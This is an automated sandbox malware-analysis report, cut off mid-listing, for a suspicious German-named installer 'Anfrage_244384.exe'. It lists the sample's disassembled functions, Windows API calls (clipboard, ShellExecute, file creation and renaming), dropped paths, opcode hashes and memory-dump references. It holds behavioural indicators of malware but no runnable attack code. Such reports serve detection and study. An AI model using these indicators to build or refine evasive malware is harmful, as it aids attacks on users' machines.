                                                        • Source File: 00000000.00000002.1987011203.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true
                                                        • Associated: 00000000.00000002.1986995979.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                        • Associated: 00000000.00000002.1987028982.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                        • Associated: 00000000.00000002.1987044483.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_10000000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: ProtectVirtual
                                                        • String ID:
                                                        • API String ID: 544645111-0
                                                        • Opcode ID: 18430b4f65034898945c85cbd496d0600587ffef3804861361c874148a7acf75
                                                        • Instruction ID: 4f82052a8ee677216feeb46ba648c84afb962adc58c95b92ee0d34447feb5494
                                                        • Opcode Fuzzy Hash: 18430b4f65034898945c85cbd496d0600587ffef3804861361c874148a7acf75
                                                        • Instruction Fuzzy Hash: B5F09BF19092A0DEF360DF688CC4B063FE4E3983D5B03892AE358F6269EB7441448B19
                                                        Function 0040159D Relevance: 1.5, APIs: 1, Instructions: 18COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • SetFileAttributesA.KERNELBASE(00000000,?,000000F0), ref: 004015A8
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1973317999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.1973247187.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973339493.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973479031.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: AttributesFile
                                                        • String ID:
                                                        • API String ID: 3188754299-0
                                                        • Opcode ID: 2311168178740a320a7838dbc888e64bfba08100527ad66c07f3f89ca227bd51
                                                        • Instruction ID: e24d852e2ad3a8f86fdc323a2a6250be89694c15614e2f118570afc755bb50f4
                                                        • Opcode Fuzzy Hash: 2311168178740a320a7838dbc888e64bfba08100527ad66c07f3f89ca227bd51
                                                        • Instruction Fuzzy Hash: 4DD05B72704115D7CB10EBE5EF0869D77B09B50364F304137D251F31D0D6BACA559729
                                                        Function 0040315B Relevance: 1.5, APIs: 1, Instructions: 6COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • SetFilePointer.KERNELBASE(00000000,00000000,00000000,00402EC1,?), ref: 00403169
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1973317999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.1973247187.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973339493.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973479031.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: FilePointer
                                                        • String ID:
                                                        • API String ID: 973152223-0
                                                        • Opcode ID: 9851be0de28bb9513f6e500a0df6ea838ed72b99fd7baa621d8f85bec57c8f40
                                                        • Instruction ID: 1f5c7ae16c2334422adcad36111bde95194575cbdac9b1f52e29a9f6e91cc98e
                                                        • Opcode Fuzzy Hash: 9851be0de28bb9513f6e500a0df6ea838ed72b99fd7baa621d8f85bec57c8f40
                                                        • Instruction Fuzzy Hash: 34B01271240300BFDA214F00DF09F057B21ABA0700F10C034B388380F086711035EB0D
                                                        Function 00403FDD Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • SendMessageA.USER32(00000028,?,00000001,00403E0E), ref: 00403FEB
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1973317999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.1973247187.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973339493.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973479031.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: MessageSend
                                                        • String ID:
                                                        • API String ID: 3850602802-0
                                                        • Opcode ID: 2bf10b83fa6dd9bc40a18547b02fbce2a65827e50004d0a7ab2884d4d9fdcea2
                                                        • Instruction ID: 0adc9c0e194aa77c868d6ef978719a9753de7db756a7c543b14a3307e76eee0a
                                                        • Opcode Fuzzy Hash: 2bf10b83fa6dd9bc40a18547b02fbce2a65827e50004d0a7ab2884d4d9fdcea2
                                                        • Instruction Fuzzy Hash: B2B09235280A00AAEA215B00DE09F467A62A764701F408038B240250B1CAB200A6DB18

                                                        Non-executed Functions

                                                        Function 0040511A Relevance: 54.3, APIs: 36, Instructions: 282windowclipboardmemoryCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • GetDlgItem.USER32(?,00000403), ref: 00405179
                                                        • GetDlgItem.USER32(?,000003EE), ref: 00405188
                                                        • GetClientRect.USER32(?,?), ref: 004051C5
                                                        • GetSystemMetrics.USER32(00000002), ref: 004051CC
                                                        • SendMessageA.USER32(?,0000101B,00000000,?), ref: 004051ED
                                                        • SendMessageA.USER32(?,00001036,00004000,00004000), ref: 004051FE
                                                        • SendMessageA.USER32(?,00001001,00000000,?), ref: 00405211
                                                        • SendMessageA.USER32(?,00001026,00000000,?), ref: 0040521F
                                                        • SendMessageA.USER32(?,00001024,00000000,?), ref: 00405232
                                                        • ShowWindow.USER32(00000000,?,0000001B,?), ref: 00405254
                                                        • ShowWindow.USER32(?,00000008), ref: 00405268
                                                        • GetDlgItem.USER32(?,000003EC), ref: 00405289
                                                        • SendMessageA.USER32(00000000,00000401,00000000,75300000), ref: 00405299
                                                        • SendMessageA.USER32(00000000,00000409,00000000,?), ref: 004052B2
                                                        • SendMessageA.USER32(00000000,00002001,00000000,?), ref: 004052BE
                                                        • GetDlgItem.USER32(?,000003F8), ref: 00405197
                                                          • Part of subcall function 00403FDD: SendMessageA.USER32(00000028,?,00000001,00403E0E), ref: 00403FEB
                                                        • GetDlgItem.USER32(?,000003EC), ref: 004052DA
                                                        • CreateThread.KERNEL32(00000000,00000000,Function_000050AE,00000000), ref: 004052E8
                                                        • CloseHandle.KERNEL32(00000000), ref: 004052EF
                                                        • ShowWindow.USER32(00000000), ref: 00405312
                                                        • ShowWindow.USER32(?,00000008), ref: 00405319
                                                        • ShowWindow.USER32(00000008), ref: 0040535F
                                                        • SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00405393
                                                        • CreatePopupMenu.USER32 ref: 004053A4
                                                        • AppendMenuA.USER32(00000000,00000000,00000001,00000000), ref: 004053B9
                                                        • GetWindowRect.USER32(?,000000FF), ref: 004053D9
                                                        • TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 004053F2
                                                        • SendMessageA.USER32(?,0000102D,00000000,?), ref: 0040542E
                                                        • OpenClipboard.USER32(00000000), ref: 0040543E
                                                        • EmptyClipboard.USER32 ref: 00405444
                                                        • GlobalAlloc.KERNEL32(00000042,?), ref: 0040544D
                                                        • GlobalLock.KERNEL32(00000000), ref: 00405457
                                                        • SendMessageA.USER32(?,0000102D,00000000,?), ref: 0040546B
                                                        • GlobalUnlock.KERNEL32(00000000), ref: 00405484
                                                        • SetClipboardData.USER32(00000001,00000000), ref: 0040548F
                                                        • CloseClipboard.USER32 ref: 00405495
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1973317999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.1973247187.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973339493.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973479031.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
                                                        • String ID:
                                                        • API String ID: 590372296-0
                                                        • Opcode ID: 312e192eeff1604f0d32da701c70530a671f57ed31088441950e93b34a7e48bf
                                                        • Instruction ID: 5613d7aab8632e27e9dc55abe2e0ca372eedffe8b3e0cf91bb1740b35a121942
                                                        • Opcode Fuzzy Hash: 312e192eeff1604f0d32da701c70530a671f57ed31088441950e93b34a7e48bf
                                                        • Instruction Fuzzy Hash: 8AA14770900608BFDB11AFA1DE89EAE7F79EB08344F40403AFA01B61A0C7755E51DF68
                                                        Function 004043E6 Relevance: 23.0, APIs: 10, Strings: 3, Instructions: 274stringCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • GetDlgItem.USER32(?,000003FB), ref: 00404435
                                                        • SetWindowTextA.USER32(00000000,?), ref: 0040445F
                                                        • SHBrowseForFolderA.SHELL32(?,00429C40,?), ref: 00404510
                                                        • CoTaskMemFree.OLE32(00000000), ref: 0040451B
                                                        • lstrcmpiA.KERNEL32(Call,0042A868), ref: 0040454D
                                                        • lstrcatA.KERNEL32(?,Call), ref: 00404559
                                                        • SetDlgItemTextA.USER32(?,000003FB,?), ref: 0040456B
                                                          • Part of subcall function 0040559D: GetDlgItemTextA.USER32(?,?,00000400,004045A2), ref: 004055B0
                                                          • Part of subcall function 0040602E: CharNextA.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\Anfrage_244384.exe",75573410,C:\Users\user\AppData\Local\Temp\,00000000,0040317E,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403393), ref: 00406086
                                                          • Part of subcall function 0040602E: CharNextA.USER32(?,?,?,00000000), ref: 00406093
                                                          • Part of subcall function 0040602E: CharNextA.USER32(?,"C:\Users\user\Desktop\Anfrage_244384.exe",75573410,C:\Users\user\AppData\Local\Temp\,00000000,0040317E,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403393), ref: 00406098
                                                          • Part of subcall function 0040602E: CharPrevA.USER32(?,?,75573410,C:\Users\user\AppData\Local\Temp\,00000000,0040317E,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403393), ref: 004060A8
                                                        • GetDiskFreeSpaceA.KERNEL32(00429838,?,?,0000040F,?,00429838,00429838,?,00000001,00429838,?,?,000003FB,?), ref: 00404629
                                                        • MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404644
                                                          • Part of subcall function 0040479D: lstrlenA.KERNEL32(0042A868,0042A868,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,004046B8,000000DF,00000000,00000400,?), ref: 0040483B
                                                          • Part of subcall function 0040479D: wsprintfA.USER32 ref: 00404843
                                                          • Part of subcall function 0040479D: SetDlgItemTextA.USER32(?,0042A868), ref: 00404856
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1973317999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.1973247187.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973339493.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973479031.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
                                                        • String ID: A$C:\Users\user\AppData\Roaming\secretaryships$Call
                                                        • API String ID: 2624150263-1607129744
                                                        • Opcode ID: 69f74c01cbdcf11024f72d1cffdf5a9e01e05ddb1b066f3c04d727bfc8a1ec56
                                                        • Instruction ID: 84c50741fe25a173814362b43a11873bd68750411b15b34785129881091ebc45
                                                        • Opcode Fuzzy Hash: 69f74c01cbdcf11024f72d1cffdf5a9e01e05ddb1b066f3c04d727bfc8a1ec56
                                                        • Instruction Fuzzy Hash: 14A1A5B1900209ABDB11AFA6DD45AAF7BB8EF85314F10843BF601B62D1D77C89418F69
                                                        Function 004020CD Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 139comCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • CoCreateInstance.OLE32(00408514,?,00000001,00408504,?,?,00000045,000000CD,00000002,000000DF,000000F0), ref: 0040214C
                                                        • MultiByteToWideChar.KERNEL32(?,?,?,000000FF,?,00000400,?,00000001,00408504,?,?,00000045,000000CD,00000002,000000DF,000000F0), ref: 004021F8
                                                        Strings
                                                        • C:\Users\user\AppData\Roaming\secretaryships\Angoragedernes, xrefs: 0040218C
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1973317999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.1973247187.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973339493.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973479031.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: ByteCharCreateInstanceMultiWide
                                                        • String ID: C:\Users\user\AppData\Roaming\secretaryships\Angoragedernes
                                                        • API String ID: 123533781-51339105
                                                        • Opcode ID: f209c091181f227ba522424908b8d9506dcc11acb2a5460ac331969599ead195
                                                        • Instruction ID: a586864d88b4a31a2ea0730a18160f458de020bca495768a6a410d99a7d95100
                                                        • Opcode Fuzzy Hash: f209c091181f227ba522424908b8d9506dcc11acb2a5460ac331969599ead195
                                                        • Instruction Fuzzy Hash: B4510975A00208BFCB10DFE4CA88A9DBBB6AF48314B2445AAF515FB2D0DA799941CB54
                                                        Function 0040655F Relevance: .3, Instructions: 334COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1973317999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.1973247187.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973339493.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973479031.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: f6ffbaa9ab06301a7bcd3d44d98f200676c8088fe61cb4b9d184fb53f21b8863
                                                        • Instruction ID: 8293cd2a5013187d15d39c8039833727f4f8195ddf88bee04d9fcabafb2459e2
                                                        • Opcode Fuzzy Hash: f6ffbaa9ab06301a7bcd3d44d98f200676c8088fe61cb4b9d184fb53f21b8863
                                                        • Instruction Fuzzy Hash: 0EE17B71900709DFDB24CF58C980BAABBF1EB44305F15893EE497A72D1E778AA91CB04
                                                        Function 00406D36 Relevance: .3, Instructions: 300COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1973317999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.1973247187.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973339493.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973479031.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 2f5d6bccd3c6e1d066a3a8cc38ddd8851f0bfc94fc623702177b12c8f33284cd
                                                        • Instruction ID: 9f21e3e235d98a7e1251c5e66270d761edb2065f660f80fa18d1a92bf6754199
                                                        • Opcode Fuzzy Hash: 2f5d6bccd3c6e1d066a3a8cc38ddd8851f0bfc94fc623702177b12c8f33284cd
                                                        • Instruction Fuzzy Hash: 2DC13971E0021A8BCF14CF68D5905EEBBB2BF98314F26826AD85677384D734A952CF94
                                                        Function 004040F1 Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 205windowstringCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • CheckDlgButton.USER32(00000000,-0000040A,00000001), ref: 0040417C
                                                        • GetDlgItem.USER32(00000000,000003E8), ref: 00404190
                                                        • SendMessageA.USER32(00000000,0000045B,00000001,00000000), ref: 004041AE
                                                        • GetSysColor.USER32(?), ref: 004041BF
                                                        • SendMessageA.USER32(00000000,00000443,00000000,?), ref: 004041CE
                                                        • SendMessageA.USER32(00000000,00000445,00000000,04010000), ref: 004041DD
                                                        • lstrlenA.KERNEL32(?), ref: 004041E0
                                                        • SendMessageA.USER32(00000000,00000435,00000000,00000000), ref: 004041EF
                                                        • SendMessageA.USER32(00000000,00000449,?,00000110), ref: 00404204
                                                        • GetDlgItem.USER32(?,0000040A), ref: 00404266
                                                        • SendMessageA.USER32(00000000), ref: 00404269
                                                        • GetDlgItem.USER32(?,000003E8), ref: 00404294
                                                        • SendMessageA.USER32(00000000,0000044B,00000000,00000201), ref: 004042D4
                                                        • LoadCursorA.USER32(00000000,00007F02), ref: 004042E3
                                                        • SetCursor.USER32(00000000), ref: 004042EC
                                                        • ShellExecuteA.SHELL32(0000070B,open,0042E3A0,00000000,00000000,00000001), ref: 004042FF
                                                        • LoadCursorA.USER32(00000000,00007F00), ref: 0040430C
                                                        • SetCursor.USER32(00000000), ref: 0040430F
                                                        • SendMessageA.USER32(00000111,00000001,00000000), ref: 0040433B
                                                        • SendMessageA.USER32(00000010,00000000,00000000), ref: 0040434F
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1973317999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.1973247187.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973339493.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973479031.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorExecuteShelllstrlen
                                                        • String ID: Call$N$open
                                                        • API String ID: 3615053054-2563687911
                                                        • Opcode ID: 0fabdefe5dfe810703eedaaf7f5204b78cec4d5337582d6cb8c9095239a0e9c5
                                                        • Instruction ID: 596f938780ddc00ccda35ae91e452bcb2762d229451626cd39d0fa48fc5db7d6
                                                        • Opcode Fuzzy Hash: 0fabdefe5dfe810703eedaaf7f5204b78cec4d5337582d6cb8c9095239a0e9c5
                                                        • Instruction Fuzzy Hash: FC61B3B1A40209BFEB109F60DD45F6A7B69FB84701F10803AFB04BA2D1C7B8A951CB58
                                                        Function 00401000 Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 125COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • DefWindowProcA.USER32(?,00000046,?,?), ref: 0040102C
                                                        • BeginPaint.USER32(?,?), ref: 00401047
                                                        • GetClientRect.USER32(?,?), ref: 0040105B
                                                        • CreateBrushIndirect.GDI32(00000000), ref: 004010CF
                                                        • FillRect.USER32(00000000,?,00000000), ref: 004010E4
                                                        • DeleteObject.GDI32(?), ref: 004010ED
                                                        • CreateFontIndirectA.GDI32(?), ref: 00401105
                                                        • SetBkMode.GDI32(00000000,00000001), ref: 00401126
                                                        • SetTextColor.GDI32(00000000,000000FF), ref: 00401130
                                                        • SelectObject.GDI32(00000000,?), ref: 00401140
                                                        • DrawTextA.USER32(00000000,Debutromaners241 Setup,000000FF,00000010,00000820), ref: 00401156
                                                        • SelectObject.GDI32(00000000,00000000), ref: 00401160
                                                        • DeleteObject.GDI32(?), ref: 00401165
                                                        • EndPaint.USER32(?,?), ref: 0040116E
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1973317999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.1973247187.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973339493.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973479031.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_400000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
                                                        • String ID: Debutromaners241 Setup$F
                                                        • API String ID: 941294808-211529893
                                                        • Opcode ID: b3683ee5f9b0c2be8bfd93dc29e84564bacc2454be597716fe8f92258ad350e3
                                                        • Instruction ID: eed311f0ba3f5168439b37af4fa11fc7bb37c730dc1785cefb354bf9b42296a2
                                                        • Opcode Fuzzy Hash: b3683ee5f9b0c2be8bfd93dc29e84564bacc2454be597716fe8f92258ad350e3
                                                        • Instruction Fuzzy Hash: FF418C71800209AFCF059F95DE459AFBBB9FF44314F00842EF9A1AA1A0C774E955DFA4
                                                        Function 00405B0C Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 131stringmemoryCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • lstrcpyA.KERNEL32(0042C5F8,NUL,?,00000000,?,00000000,00405C9F,?,?), ref: 00405B1B
                                                        • CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,00000000,00405C9F,?,?), ref: 00405B3F
                                                        • GetShortPathNameA.KERNEL32(?,0042C5F8,00000400), ref: 00405B48
                                                          • Part of subcall function 0040599B: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405BF8,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 004059AB
                                                          • Part of subcall function 0040599B: lstrlenA.KERNEL32(00000000,?,00000000,00405BF8,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 004059DD
                                                        • GetShortPathNameA.KERNEL32(0042C9F8,0042C9F8,00000400), ref: 00405B65
                                                        • wsprintfA.USER32 ref: 00405B83
                                                        • GetFileSize.KERNEL32(00000000,00000000,0042C9F8,C0000000,00000004,0042C9F8,?,?,?,?,?), ref: 00405BBE
                                                        • GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 00405BCD
                                                        • lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405C05
                                                        • SetFilePointer.KERNEL32(0040A3B0,00000000,00000000,00000000,00000000,0042C1F8,00000000,-0000000A,0040A3B0,00000000,[Rename],00000000,00000000,00000000), ref: 00405C5B
                                                        • GlobalFree.KERNEL32(00000000), ref: 00405C6C
                                                        • CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 00405C73
                                                          • Part of subcall function 00405A36: GetFileAttributesA.KERNELBASE(00000003,00402D3A,C:\Users\user\Desktop\Anfrage_244384.exe,80000000,00000003), ref: 00405A3A
                                                          • Part of subcall function 00405A36: CreateFileA.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405A5C
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1973317999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                        • Associated: 00000000.00000002.1973247187.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973339493.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1973365581.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
